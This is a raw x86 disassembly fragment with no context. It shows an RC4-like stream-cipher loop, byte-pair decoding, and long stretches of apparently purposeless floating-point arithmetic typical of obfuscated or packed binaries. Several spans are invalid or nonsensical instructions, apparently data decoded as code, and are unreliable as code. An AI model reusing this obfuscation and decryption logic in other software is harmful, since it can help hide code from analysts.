or eax, dword [ebp - 0xe00]
mov dword [ebp - 0xde4], eax
mov al, byte [ebp - 0xde4]
mov byte [ebp - 0xdc5], al
movzx eax, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp - 0xe1d], al
movzx eax, byte [ebp - 0xd6b]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xc3d]
add ecx, eax
mov byte [ebp - 0xc3d], cl
mov al, byte [ebp - 0xd6b]
add al, 1
mov byte [ebp - 0xd6b], al
movzx eax, byte [ebp - 0xc3d]
movzx ecx, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd59]
movzx ecx, byte [ebp - 0xc3d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
movzx ecx, byte [ebp - 0xd59]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
mov cl, byte [ebp - 0xe1d]
mov byte [ebp + eax - 0xd44], cl
movzx eax, byte [ebp - 0xe1d]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xd4d]
add ecx, eax
mov byte [ebp - 0xd4d], cl
movzx eax, byte [ebp - 0xdc5]
movzx ecx, byte [ebp - 0xc3d]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xd6b]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
movzx ecx, byte [ebp - 0xd59]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xc2d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
movzx edx, byte [ebp - 0xd4d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
mov byte [ebp - 0xd59], al
mov al, byte [ebp - 0xdc5]
mov byte [ebp - 0xc2d], al
mov al, byte [ebp - 0xd59]
mov byte [ebp - 0xdf9], al
cmp dword [ebp - 0xdec], 0
jle 0x51bbc9
mov eax, dword [ebp - 0xdec]
mov cl, byte [ebp - 0xdf9]
mov byte [ebp + eax - 0x74d], cl
mov eax, dword [ebp - 0xde8]
add eax, 5
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0xdec]
inc eax
mov dword [ebp - 0xe30], eax
jmp 0x51bbf4
mov eax, dword [ebp - 0xe30]
inc eax
mov dword [ebp - 0xe30], eax
mov eax, dword [ebp - 0xe30]
cmp eax, dword [ebp - 0xde8]
jge 0x51be51
mov eax, dword [ebp - 0xdec]
inc eax
mov dword [ebp - 0xdec], eax
mov eax, dword [ebp - 0xdec]
shl eax, 1
mov dword [ebp - 0xda0], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xda0]
movzx eax, byte [eax]
mov dword [ebp - 0xe08], eax
mov dword [ebp - 0xdbc], 0x3c
mov eax, dword [ebp - 0xdec]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xdd8]
movzx eax, byte [eax]
mov dword [ebp - 0xe2c], eax
mov dword [ebp - 0xe04], 0xa0
mov eax, dword [ebp - 0xe08]
sub eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xe28], eax
mov eax, dword [ebp - 0xe2c]
sub eax, dword [ebp - 0xe04]
mov dword [ebp - 0xda4], eax
mov eax, dword [ebp - 0xe28]
shl eax, 4
mov dword [ebp - 0xe24], eax
mov eax, dword [ebp - 0xda4]
mov dword [ebp - 0xe00], eax
mov eax, dword [ebp - 0xe24]
or eax, dword [ebp - 0xe00]
mov dword [ebp - 0xde4], eax
mov al, byte [ebp - 0xde4]
mov byte [ebp - 0xdc5], al
movzx eax, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp - 0xe1d], al
movzx eax, byte [ebp - 0xd6b]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xc3d]
add ecx, eax
mov byte [ebp - 0xc3d], cl
mov al, byte [ebp - 0xd6b]
add al, 1
mov byte [ebp - 0xd6b], al
movzx eax, byte [ebp - 0xc3d]
movzx ecx, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd59]
movzx ecx, byte [ebp - 0xc3d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
movzx ecx, byte [ebp - 0xd59]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
mov cl, byte [ebp - 0xe1d]
mov byte [ebp + eax - 0xd44], cl
movzx eax, byte [ebp - 0xe1d]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xd4d]
add ecx, eax
mov byte [ebp - 0xd4d], cl
movzx eax, byte [ebp - 0xdc5]
movzx ecx, byte [ebp - 0xc3d]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xd6b]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
movzx ecx, byte [ebp - 0xd59]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xc2d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
movzx edx, byte [ebp - 0xd4d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
mov byte [ebp - 0xd59], al
mov al, byte [ebp - 0xdc5]
mov byte [ebp - 0xc2d], al
mov al, byte [ebp - 0xd59]
mov byte [ebp - 0xdf9], al
cmp dword [ebp - 0xdec], 0
jle 0x51be4c
mov eax, dword [ebp - 0xdec]
mov cl, byte [ebp - 0xdf9]
mov byte [ebp + eax - 0x74d], cl
jmp 0x51bbe7
mov eax, dword [ebp - 0xde8]
inc eax
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0xde8]
add eax, 5
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0xdec]
inc eax
mov dword [ebp - 0xe34], eax
jmp 0x51be89
mov eax, dword [ebp - 0xe34]
inc eax
mov dword [ebp - 0xe34], eax
mov eax, dword [ebp - 0xe34]
cmp eax, dword [ebp - 0xde8]
jge 0x51c0e6
mov eax, dword [ebp - 0xdec]
inc eax
mov dword [ebp - 0xdec], eax
mov eax, dword [ebp - 0xdec]
shl eax, 1
mov dword [ebp - 0xda0], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xda0]
movzx eax, byte [eax]
mov dword [ebp - 0xe08], eax
mov dword [ebp - 0xdbc], 0x3c
mov eax, dword [ebp - 0xdec]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xdd8]
movzx eax, byte [eax]
mov dword [ebp - 0xe2c], eax
mov dword [ebp - 0xe04], 0xa0
mov eax, dword [ebp - 0xe08]
sub eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xe28], eax
mov eax, dword [ebp - 0xe2c]
sub eax, dword [ebp - 0xe04]
mov dword [ebp - 0xda4], eax
mov eax, dword [ebp - 0xe28]
shl eax, 4
mov dword [ebp - 0xe24], eax
mov eax, dword [ebp - 0xda4]
mov dword [ebp - 0xe00], eax
mov eax, dword [ebp - 0xe24]
or eax, dword [ebp - 0xe00]
mov dword [ebp - 0xde4], eax
mov al, byte [ebp - 0xde4]
mov byte [ebp - 0xdc5], al
movzx eax, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp - 0xe1d], al
movzx eax, byte [ebp - 0xd6b]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xc3d]
add ecx, eax
mov byte [ebp - 0xc3d], cl
mov al, byte [ebp - 0xd6b]
add al, 1
mov byte [ebp - 0xd6b], al
movzx eax, byte [ebp - 0xc3d]
movzx ecx, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd59]
movzx ecx, byte [ebp - 0xc3d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
movzx ecx, byte [ebp - 0xd59]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
mov cl, byte [ebp - 0xe1d]
mov byte [ebp + eax - 0xd44], cl
movzx eax, byte [ebp - 0xe1d]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xd4d]
add ecx, eax
mov byte [ebp - 0xd4d], cl
movzx eax, byte [ebp - 0xdc5]
movzx ecx, byte [ebp - 0xc3d]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xd6b]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
movzx ecx, byte [ebp - 0xd59]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xc2d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
movzx edx, byte [ebp - 0xd4d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
mov byte [ebp - 0xd59], al
mov al, byte [ebp - 0xdc5]
mov byte [ebp - 0xc2d], al
mov al, byte [ebp - 0xd59]
mov byte [ebp - 0xdf9], al
cmp dword [ebp - 0xdec], 0
jle 0x51c0e1
mov eax, dword [ebp - 0xdec]
mov cl, byte [ebp - 0xdf9]
mov byte [ebp + eax - 0x74d], cl
jmp 0x51be7c
mov eax, dword [ebp - 0xde8]
inc eax
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0xdec]
inc eax
mov dword [ebp - 0xdec], eax
mov eax, dword [ebp - 0xde8]
inc eax
mov dword [ebp - 0xde8], eax
mov eax, dword [ebp - 0xdec]
shl eax, 1
mov dword [ebp - 0xda0], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xda0]
movzx eax, byte [eax]
mov dword [ebp - 0xe08], eax
mov dword [ebp - 0xdbc], 0x3c
mov eax, dword [ebp - 0xdec]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0xc38]
add eax, dword [ebp - 0xdd8]
movzx eax, byte [eax]
mov dword [ebp - 0xe2c], eax
mov dword [ebp - 0xe04], 0xa0
mov eax, dword [ebp - 0xe08]
sub eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xe28], eax
mov eax, dword [ebp - 0xe2c]
sub eax, dword [ebp - 0xe04]
mov dword [ebp - 0xda4], eax
mov eax, dword [ebp - 0xe28]
shl eax, 4
mov dword [ebp - 0xe24], eax
mov eax, dword [ebp - 0xda4]
mov dword [ebp - 0xe00], eax
mov eax, dword [ebp - 0xe24]
or eax, dword [ebp - 0xe00]
mov dword [ebp - 0xde4], eax
mov al, byte [ebp - 0xde4]
mov byte [ebp - 0xdc5], al
movzx eax, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp - 0xe1d], al
fld dword [0x9a6d7c]
fstp dword [ebp - 0xe10]
fld dword [0x9a6d78]
fstp dword [ebp - 0xddc]
fld dword [0x9a6d74]
fstp dword [ebp - 0xdc0]
fld dword [ebp - 0xe10]
fmul dword [ebp - 0xdc0]
fstp dword [ebp - 0xe10]
fld dword [ebp - 0xddc]
fsub dword [ebp - 0xdc0]
fstp dword [ebp - 0xddc]
fld dword [ebp - 0xddc]
fsub dword [ebp - 0xdc0]
fstp dword [ebp - 0xddc]
fld dword [ebp - 0xddc]
fld dword [ebp - 0xe10]
fcompp
fnstsw ax
test ah, 5
jp 0x51c33e
fld dword [ebp - 0xe10]
fadd dword [ebp - 0xddc]
fstp dword [ebp - 0xe10]
fld dword [ebp - 0xdc0]
fmul dword [ebp - 0xe10]
fstp dword [ebp - 0xdc0]
fld dword [ebp - 0xddc]
fadd dword [ebp - 0xdc0]
fstp dword [ebp - 0xddc]
fld dword [ebp - 0xdc0]
fdiv dword [ebp - 0xddc]
fstp dword [ebp - 0xdc0]
fld dword [ebp - 0xe10]
fdiv dword [ebp - 0xdc0]
fstp dword [ebp - 0xe10]
fld dword [ebp - 0xddc]
fdiv dword [ebp - 0xe10]
fstp dword [ebp - 0xddc]
fld dword [ebp - 0xe10]
fld dword [ebp - 0xdc0]
fcompp
fnstsw ax
test ah, 5
jp 0x51c306
fld dword [ebp - 0xe10]
fadd dword [ebp - 0xddc]
fstp dword [ebp - 0xe10]
fld dword [ebp - 0xddc]
fadd dword [ebp - 0xdc0]
fstp dword [ebp - 0xddc]
fld dword [ebp - 0xe10]
fadd dword [ebp - 0xddc]
fstp dword [ebp - 0xe10]
jmp 0x51c33c
fld dword [ebp - 0xddc]
fadd dword [ebp - 0xe10]
fstp dword [ebp - 0xddc]
fld dword [ebp - 0xdc0]
fadd dword [ebp - 0xddc]
fstp dword [ebp - 0xdc0]
fld dword [ebp - 0xdc0]
fsub dword [ebp - 0xddc]
fstp dword [ebp - 0xdc0]
jmp 0x51c3a0
fld dword [ebp - 0xdc0]
fmul dword [ebp - 0xddc]
fstp dword [ebp - 0xdc0]
fld dword [ebp - 0xddc]
fsub dword [ebp - 0xe10]
fstp dword [ebp - 0xddc]
fld dword [ebp - 0xe10]
fmul dword [ebp - 0xdc0]
fstp dword [ebp - 0xe10]
movzx eax, byte [ebp - 0xd6b]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xc3d]
add ecx, eax
mov byte [ebp - 0xc3d], cl
mov al, byte [ebp - 0xd6b]
add al, 1
mov byte [ebp - 0xd6b], al
movzx eax, byte [ebp - 0xc3d]
movzx ecx, byte [ebp - 0xc2d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
fld dword [0x9a6d70]
fstp dword [ebp - 0xda8]
fld dword [0x9a6d6c]
fstp dword [ebp - 0xe0c]
fld dword [0x9a6d68]
fstp dword [ebp - 0xe1c]
fld dword [0x9a6d64]
fstp dword [ebp - 0xdb4]
fld dword [0x9a6d60]
fstp dword [ebp - 0xdcc]
fld dword [0x9a6d5c]
fstp dword [ebp - 0xdf0]
fld dword [0x9a6d58]
fstp dword [ebp - 0xe18]
fld dword [ebp - 0xe0c]
fsub dword [ebp - 0xe18]
fstp dword [ebp - 0xe0c]
fld dword [ebp - 0xe1c]
fadd dword [ebp - 0xe18]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xda8]
fmul dword [ebp - 0xe18]
fstp dword [ebp - 0xda8]
fld dword [ebp - 0xdf0]
fadd dword [ebp - 0xe18]
fstp dword [ebp - 0xdf0]
fld dword [ebp - 0xdb4]
fadd dword [ebp - 0xe18]
fstp dword [ebp - 0xdb4]
fld dword [ebp - 0xe1c]
fsub dword [ebp - 0xe18]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xe1c]
fadd dword [ebp - 0xe18]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xda8]
fld dword [ebp - 0xe18]
fcompp
fnstsw ax
test ah, 0x41
jne 0x51c6bf
fld dword [ebp - 0xdf0]
fsub dword [ebp - 0xda8]
fstp dword [ebp - 0xdf0]
fld dword [ebp - 0xe1c]
fadd dword [ebp - 0xdcc]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xe0c]
fadd dword [ebp - 0xdb4]
fstp dword [ebp - 0xe0c]
fld dword [ebp - 0xe18]
fmul dword [ebp - 0xe0c]
fstp dword [ebp - 0xe18]
fld dword [ebp - 0xdf0]
fadd dword [ebp - 0xda8]
fstp dword [ebp - 0xdf0]
fld dword [ebp - 0xdcc]
fadd dword [ebp - 0xe18]
fstp dword [ebp - 0xdcc]
fld dword [ebp - 0xe1c]
fadd dword [ebp - 0xdcc]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xdcc]
fsub dword [ebp - 0xdf0]
fstp dword [ebp - 0xdcc]
fld dword [ebp - 0xe18]
fmul dword [ebp - 0xda8]
fstp dword [ebp - 0xe18]
fld dword [ebp - 0xda8]
fdiv dword [ebp - 0xe0c]
fstp dword [ebp - 0xda8]
fld dword [ebp - 0xdb4]
fsub dword [ebp - 0xdcc]
fstp dword [ebp - 0xdb4]
fld dword [ebp - 0xe1c]
fdiv dword [ebp - 0xdb4]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xe18]
fdiv dword [ebp - 0xda8]
fstp dword [ebp - 0xe18]
fld dword [ebp - 0xdb4]
fdiv dword [ebp - 0xdcc]
fstp dword [ebp - 0xdb4]
fld dword [ebp - 0xdf0]
fld dword [ebp - 0xda8]
fcompp
fnstsw ax
test ah, 0x41
jne 0x51c63c
fld dword [ebp - 0xdb4]
fadd dword [ebp - 0xdcc]
fstp dword [ebp - 0xdb4]
fld dword [ebp - 0xe1c]
fmul dword [ebp - 0xdb4]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xe0c]
fsub dword [ebp - 0xe1c]
fstp dword [ebp - 0xe0c]
fld dword [ebp - 0xda8]
fdiv dword [ebp - 0xe0c]
fstp dword [ebp - 0xda8]
fld dword [ebp - 0xe18]
fsub dword [ebp - 0xda8]
fstp dword [ebp - 0xe18]
fld dword [ebp - 0xdb4]
fadd dword [ebp - 0xdcc]
fstp dword [ebp - 0xdb4]
fld dword [ebp - 0xdf0]
fdiv dword [ebp - 0xe18]
fstp dword [ebp - 0xdf0]
jmp 0x51c6ba
fld dword [ebp - 0xdf0]
fsub dword [ebp - 0xe18]
fstp dword [ebp - 0xdf0]
fld dword [ebp - 0xe18]
fmul dword [ebp - 0xda8]
fstp dword [ebp - 0xe18]
fld dword [ebp - 0xdf0]
fsub dword [ebp - 0xe18]
fstp dword [ebp - 0xdf0]
fld dword [ebp - 0xe0c]
fsub dword [ebp - 0xe1c]
fstp dword [ebp - 0xe0c]
fld dword [ebp - 0xe0c]
fsub dword [ebp - 0xe1c]
fstp dword [ebp - 0xe0c]
fld dword [ebp - 0xe1c]
fadd dword [ebp - 0xdb4]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xdcc]
fadd dword [ebp - 0xdf0]
fstp dword [ebp - 0xdcc]
jmp 0x51c759
fld dword [ebp - 0xdb4]
fadd dword [ebp - 0xdcc]
fstp dword [ebp - 0xdb4]
fld dword [ebp - 0xdb4]
fsub dword [ebp - 0xdcc]
fstp dword [ebp - 0xdb4]
fld dword [ebp - 0xe0c]
fsub dword [ebp - 0xe1c]
fstp dword [ebp - 0xe0c]
fld dword [ebp - 0xe1c]
fmul dword [ebp - 0xdb4]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xda8]
fsub dword [ebp - 0xe0c]
fstp dword [ebp - 0xda8]
fld dword [ebp - 0xdf0]
fadd dword [ebp - 0xe18]
fstp dword [ebp - 0xdf0]
fld dword [ebp - 0xe18]
fadd dword [ebp - 0xda8]
fstp dword [ebp - 0xe18]
movzx eax, byte [ebp - 0xd59]
movzx ecx, byte [ebp - 0xc3d]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
movzx ecx, byte [ebp - 0xd59]
mov al, byte [ebp + eax - 0xd44]
mov byte [ebp + ecx - 0xd44], al
movzx eax, byte [ebp - 0xd6b]
mov cl, byte [ebp - 0xe1d]
mov byte [ebp + eax - 0xd44], cl
movzx eax, byte [ebp - 0xe1d]
movzx eax, byte [ebp + eax - 0xd44]
movzx ecx, byte [ebp - 0xd4d]
add ecx, eax
mov byte [ebp - 0xd4d], cl
movzx eax, byte [ebp - 0xdc5]
movzx ecx, byte [ebp - 0xc3d]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xd6b]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
movzx ecx, byte [ebp - 0xd59]
movzx ecx, byte [ebp + ecx - 0xd44]
movzx edx, byte [ebp - 0xc2d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
movzx edx, byte [ebp - 0xd4d]
movzx edx, byte [ebp + edx - 0xd44]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd44]
movzx ecx, byte [ebp + ecx - 0xd44]
xor eax, ecx
mov byte [ebp - 0xd59], al
mov al, byte [ebp - 0xdc5]
mov byte [ebp - 0xc2d], al
mov al, byte [ebp - 0xd59]
mov byte [ebp - 0xdf9], al
cmp dword [ebp - 0xdec], 0
jle 0x51c861
mov eax, dword [ebp - 0xdec]
mov cl, byte [ebp - 0xdf9]
mov byte [ebp + eax - 0x74d], cl
mov byte [ebp - 0x73f], 0
jmp 0x51c899
and dword [ebp - 0xe38], 0
jmp 0x51c880
mov eax, dword [ebp - 0xe38]
inc eax
mov dword [ebp - 0xe38], eax
cmp dword [ebp - 0xe38], 0xe
jge 0x51c899
mov eax, dword [ebp - 0xe38]
mov byte [ebp + eax - 0x74c], 0
jmp 0x51c873
lea eax, [ebp - 0x74c]
push eax
mov ecx, dword [ebp - 0x4d4]
call fcn.0044f2ad
mov dword [ebp - 0x4b4], eax
and dword [ebp - 0x4d0], 0
and dword [ebp - 0x730], 0
fldz
fstp qword [ebp - 0x4cc]
fldz
fstp qword [ebp - 0x50c]
fldz
fstp qword [ebp - 0x50c]
jmp 0x51c8eb
fld qword [ebp - 0x50c]
fadd qword [0x9a1c00]
fstp qword [ebp - 0x50c]
fld qword [0x9a6d50]
fcomp qword [ebp - 0x50c]
fnstsw ax
test ah, 0x41
jne 0x51c974
fld qword [0x9a6d48]
fmul qword [ebp - 0x50c]
fmul qword [ebp - 0x50c]
fld qword [ebp - 0x50c]
fmul qword [ebp - 0x50c]
fsubp st(1)
fld qword [0x9a6d40]
fmul qword [ebp - 0x50c]
fmul qword [ebp - 0x50c]
fadd qword [0x9a6d38]
fdivp st(1)
fadd qword [ebp - 0x4cc]
fstp qword [ebp - 0x4cc]
fld qword [0x9a6d30]
fcomp qword [ebp - 0x4cc]
fnstsw ax
test ah, 5
jp 0x51c96f
inc eax
insd dword es:[edi], dx
lcall 0xfffa, 0xf48ddc00
invalid
fld qword [0x9a6d28]
fmul qword [ebp - 0x50c]
fsubr qword [ebp - 0x4cc]
fstp qword [ebp - 0x4cc]
jmp 0x51c8d9
fldz
fcomp qword [ebp - 0x4cc]
fnstsw ax
test ah, 0x41
jne 0x51c9ab
sub al, 0x7b
inc ebp
daa
and dword [eax + 0x5d], edx
cmp ebx, dword [esi + 0x2b]
inc eax
and esp, dword [ecx + 0x59]
and dword [eax], esi
jo 0x51c9c7
inc esp
pop ebp
ja 0x51c920
add byte [edi - 0x71847489], 0x7f
xchg dword [esi - 0x74], edi
sub ecx, 0xfffffff5
sbb eax, dword [eax]
add bh, al
test dword [eax], esi
sti
invalid
mov dword [ebp - 0x4d0], 0x51c99a
mov dword [ebp - 0x730], 0x51c983
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0xe40], eax
mov byte [ebp - 0xf5d], 0x1b
and dword [ebp - 0xf54], 0
jmp 0x51c9f4
mov esp, 0x8bfffff1
test eax, edx
clc
invalid
mov eax, dword [ebp - 0xf54]
inc eax
mov dword [ebp - 0xf54], eax
cmp dword [ebp - 0xf54], 0x100
jae 0x51ca15
mov eax, dword [ebp - 0xf54]
mov cl, byte [ebp - 0xf54]
mov byte [ebp + eax - 0xf4c], cl
jmp 0x51c9e7
and dword [ebp - 0xe48], 0
mov byte [ebp - 0xf5e], 0
mov dword [ebp - 0xf54], 0xff
jmp 0x51ca3c
mov eax, dword [ebp - 0xf54]
dec eax
mov dword [ebp - 0xf54], eax
cmp dword [ebp - 0xf54], 0
jbe 0x51ccb6
and dword [ebp - 0xf64], 0
mov dword [ebp - 0xf6c], 1
mov eax, dword [ebp - 0xf6c]
cmp eax, dword [ebp - 0xf54]
jae 0x51ca7a
mov eax, dword [ebp - 0xf6c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xf6c], eax
jmp 0x51ca5a
mov eax, dword [ebp - 0xe48]
mov dword [ebp - 0x10ec], eax
mov eax, dword [ebp - 0x10ec]
mov dword [ebp - 0x10f0], eax
cmp dword [ebp - 0x10f0], 0
je 0x51cabf
sub dword [ebp - 0x10f0], 1
je 0x51caeb
sub dword [ebp - 0x10f0], 1
je 0x51cb17
sub dword [ebp - 0x10f0], 1
je 0x51cb43
jmp 0x51cb6f
movzx eax, byte [ebp - 0xf5e]
movzx ebx, byte [ebp + eax - 0xf4c]
fld qword [ebp - 0x4cc]
call fcn.00938626
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xf5e], bl
jmp 0x51cb96
movzx eax, byte [ebp - 0xf5e]
movzx ebx, byte [ebp + eax - 0xf4c]
fld qword [ebp - 0x4cc]
call fcn.00938626
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xf5e], bl
jmp 0x51cb96
movzx eax, byte [ebp - 0xf5e]
movzx ebx, byte [ebp + eax - 0xf4c]
fld qword [ebp - 0x4cc]
call fcn.00938626
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xf5e], bl
jmp 0x51cb96
movzx eax, byte [ebp - 0xf5e]
movzx ebx, byte [ebp + eax - 0xf4c]
fld qword [ebp - 0x4cc]
call fcn.00938626
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xf5e], bl
jmp 0x51cb96
movzx eax, byte [ebp - 0xf5e]
movzx eax, byte [ebp + eax - 0xf4c]
mov ecx, dword [ebp - 0xe40]
add ecx, dword [ebp - 0xe48]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0xf5e], al
mov eax, dword [ebp - 0xe48]
inc eax
mov dword [ebp - 0xe48], eax
movzx eax, byte [ebp - 0xf5d]
cmp dword [ebp - 0xe48], eax
jb 0x51cbcf
and dword [ebp - 0xe48], 0
movzx eax, byte [ebp - 0xf5d]
movzx ecx, byte [ebp - 0xf5e]
add ecx, eax
mov byte [ebp - 0xf5e], cl
movzx eax, byte [ebp - 0xf5e]
and eax, dword [ebp - 0xf6c]
mov dword [ebp - 0xf68], eax
mov eax, dword [ebp - 0xf64]
inc eax
mov dword [ebp - 0xf64], eax
cmp dword [ebp - 0xf64], 0xb
jbe 0x51cc0c
mov eax, dword [ebp - 0xf68]
xor edx, edx
div dword [ebp - 0xf54]
mov dword [ebp - 0xf68], edx
mov eax, dword [ebp - 0xf68]
cmp eax, dword [ebp - 0xf54]
ja 0x51ca7a
mov eax, dword [ebp - 0xf54]
cmp eax, dword [ebp - 0xf68]
je 0x51ccb1
mov eax, dword [ebp - 0xf68]
movzx eax, byte [ebp + eax - 0xf4c]
mov ecx, dword [ebp - 0xf54]
movzx ecx, byte [ebp + ecx - 0xf4c]
xor ecx, eax
mov eax, dword [ebp - 0xf54]
mov byte [ebp + eax - 0xf4c], cl
mov eax, dword [ebp - 0xf54]
movzx eax, byte [ebp + eax - 0xf4c]
mov ecx, dword [ebp - 0xf68]
movzx ecx, byte [ebp + ecx - 0xf4c]
xor ecx, eax
mov eax, dword [ebp - 0xf68]
mov byte [ebp + eax - 0xf4c], cl
mov eax, dword [ebp - 0xf68]
movzx eax, byte [ebp + eax - 0xf4c]
mov ecx, dword [ebp - 0xf54]
movzx ecx, byte [ebp + ecx - 0xf4c]
xor ecx, eax
mov eax, dword [ebp - 0xf54]
mov byte [ebp + eax - 0xf4c], cl
jmp 0x51ca2f
mov al, byte [ebp - 0xf4b]
mov byte [ebp - 0xf5f], al
mov al, byte [ebp - 0xf49]
mov byte [ebp - 0xe49], al
mov al, byte [ebp - 0xf47]
mov byte [ebp - 0xf4d], al
mov al, byte [ebp - 0xf45]
mov byte [ebp - 0xf55], al
movzx eax, byte [ebp - 0xf5e]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0xe39], al
mov dword [ebp - 0xf5c], 0xc
cmp dword [ebp - 0xf5c], 2
jle 0x51e56f
mov eax, dword [ebp - 0xf5c]
and eax, 1
jne 0x51e56f
and dword [ebp - 0x1034], 0
and dword [ebp - 0x1030], 0
mov eax, dword [ebp - 0x1030]
inc eax
mov dword [ebp - 0x1030], eax
and dword [ebp - 0xf88], 0
fld qword [0x9a6d20]
fstp qword [ebp - 0xf84]
fld qword [0x9a6d18]
fstp qword [ebp - 0x1044]
fld qword [0x9a6d10]
fstp qword [ebp - 0xffc]
fld qword [0x9a6d08]
fstp qword [ebp - 0xfbc]
fld qword [0x9a6d00]
fstp qword [ebp - 0xf7c]
fld qword [ebp - 0xf84]
fmul qword [ebp - 0xf7c]
fstp qword [ebp - 0xf84]
fld qword [ebp - 0xfbc]
fsub qword [ebp - 0xf7c]
fstp qword [ebp - 0xfbc]
fld qword [ebp - 0xfbc]
fsub qword [ebp - 0xf7c]
fstp qword [ebp - 0xfbc]
